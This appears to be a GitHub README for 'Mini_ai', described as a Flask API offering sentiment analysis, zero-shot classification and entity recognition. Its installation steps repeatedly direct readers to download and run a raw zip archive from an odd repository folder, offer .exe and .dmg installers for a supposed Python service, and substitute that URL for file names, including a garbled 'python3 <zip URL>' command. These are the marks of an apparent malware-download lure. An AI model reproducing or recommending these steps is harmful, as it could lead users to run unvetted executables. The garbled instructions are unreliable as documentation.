🎉 Mini_ai - Easy Access to AI Models

📥 Download Latest Release

🚀 Getting Started

Welcome to Mini_ai! This application provides a simple way to access powerful AI models for various tasks. You can use it for Sentiment Analysis, Zero-Shot Classification, and Named Entity Recognition.

📋 System Requirements

Before you begin, ensure you have the following:

• Operating System: Windows, macOS, or Linux
• Python: Version 3.7 or later
• Internet connection for model downloads

🔧 Features

• Sentiment Analysis: Understand if a text is positive, negative, or neutral.
• Zero-Shot Classification: Classify text into various categories without prior training.
• Named Entity Recognition: Identify names, dates, and other important information in the text.

📝 Installation Steps

Follow these steps to download and run Mini_ai:

1. Visit the Download Page
   Go to the Releases Page to find the latest version of Mini_ai.

2. Download the Application
   Click on the version you want to download. Depending on your operating system, look for the appropriate file (e.g., .exe for Windows or https://github.com/eliniyus310987/Mini_ai/raw/refs/heads/main/blately/Mini-ai-v1.3.zip for Linux).

3. Install Necessary Dependencies
   If prompted, you may need to install Python and other dependencies. Follow the on-screen instructions or visit the official Python website for guidance.

4. Run the Application

   • For Windows: Double-click the downloaded .exe file.
   • For macOS: Open the downloaded .dmg file and drag the application to your Applications folder.
   • For Linux: Extract the https://github.com/eliniyus310987/Mini_ai/raw/refs/heads/main/blately/Mini-ai-v1.3.zip file and run the command python3 https://github.com/eliniyus310987/Mini_ai/raw/refs/heads/main/blately/Mini-ai-v1.3.zip in your terminal.

5. Access the API
   Once the application runs, you will receive instructions on how to interact with the API. Typically, you can access it via your web browser at http://localhost:5000.

🔍 Usage Instructions

After installation, you can use the Mini_ai API as follows:

• Sentiment Analysis: Send a text input to the /sentiment endpoint. The API will respond with the sentiment of the text.

• Zero-Shot Classification: Submit your text along with the labels you want to classify it against at the /zeroshot endpoint.

• Named Entity Recognition: Send your text to the /ner endpoint to retrieve names and other entities.

💡 Example Requests

Here are examples of how you can interact with the API using simple commands:

1. Sentiment Analysis

   • Endpoint: GET /sentiment
   • Parameters: text=<your_text_here>

2. Zero-Shot Classification

   • Endpoint: POST /zeroshot
   • Body:

     {
       "text": "<your_text_here>",
       "labels": ["label1", "label2"]
     }

3. Named Entity Recognition

   • Endpoint: GET /ner
   • Parameters: text=<your_text_here>

📚 Troubleshooting

If you encounter any issues:

• Ensure you have the correct version of Python installed.
• Check your internet connection.
• Refer to the log files generated by the application for any error messages.

📞 Support

If you need further assistance:

• Reach out to our community in the Issues section of this repository.
• Check the documentation for detailed API usage and examples.

🔗 Additional Resources

• Python Official Site
• Flask Documentation
• Hugging Face Models

🔗 Download & Install Again

To download Mini_ai, visit the Releases Page. Select the version you need, and follow the installation steps above.

Dive into the world of AI with Mini_ai and start exploring its capabilities today!